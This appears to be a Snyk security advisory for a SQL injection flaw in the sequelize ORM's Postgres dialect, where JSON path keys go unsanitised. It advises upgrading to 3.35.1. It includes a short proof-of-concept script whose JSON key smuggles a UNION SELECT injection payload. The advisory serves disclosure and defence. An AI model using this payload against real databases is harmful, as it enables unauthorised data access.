Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade sequelize
to version 3.35.1 or higher.
sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.
Affected versions of this package are vulnerable to SQL Injection due to JSON path keys not being properly sanitized in the Postgres dialect.
const Sequelize = require('sequelize');
const sequelize = new Sequelize('someregistry', 'postgres', '', {
host: 'localhost',
port: '5432',
dialect: 'postgres'
});
const Project = sequelize.define('Project', {
name: Sequelize.DataTypes.TEXT,
target: Sequelize.DataTypes.JSONB,
}, {
tableName: 'projects',
});
(async () => {
await sequelize.authenticate();
console.log(await Project.findAll({
where: {target: {"a": 1}},
attributes: ['name'],
raw: true
}));
console.log(await Project.findAll({
where: {target: {"a}') = '1' UNION SELECT VERSION(); -- ": 1}},
attributes: ['name'],
raw: true
}));
})();
// https://github.com/sequelize/sequelize/blob/v3/lib/dialects/abstract/query-generator.js#L2201
// $baseKey = self.quoteIdentifier(key)+'#>>\'{'+path.join(', ')+'}\'';